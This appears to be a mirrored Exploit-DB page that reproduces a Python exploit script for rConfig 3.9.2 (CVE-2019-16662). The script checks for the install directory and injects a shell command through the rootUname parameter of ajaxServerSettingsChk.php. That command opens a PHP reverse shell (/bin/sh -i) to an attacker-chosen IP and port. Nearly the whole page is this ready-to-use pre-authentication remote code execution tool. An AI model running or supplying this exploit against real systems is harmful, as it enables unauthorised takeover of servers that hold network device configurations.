rConfig 3.9.2 – Remote Code Execution - 体验盒子

作者： Askar

日期： 2019-10-29

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/47555/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

# Exploit Title: rConfig 3.9.2 - Remote Code Execution

# Date: 2019-09-18

# Exploit Author: Askar

# Vendor Homepage: https://rconfig.com/

# Software link: https://rconfig.com/download

# Version: v3.9.2

# Tested on: CentOS 7.7 / PHP 7.2.22

# CVE : CVE-2019-16662

#!/usr/bin/python

import requests

import sys

from urllib import quote

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:

print "[+] Usage : ./exploit.py target ip port"

exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)

if req.status_code == 404:

print "[-] Installation directory not found!"

print "[-] Exploitation failed !"

exit()

elif req.status_code == 200:

print "[+] Installation directory found!"

url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"

print "[+] Check your listener !"

requests.get(url_to_send, verify=False)

rConfig-preauth.png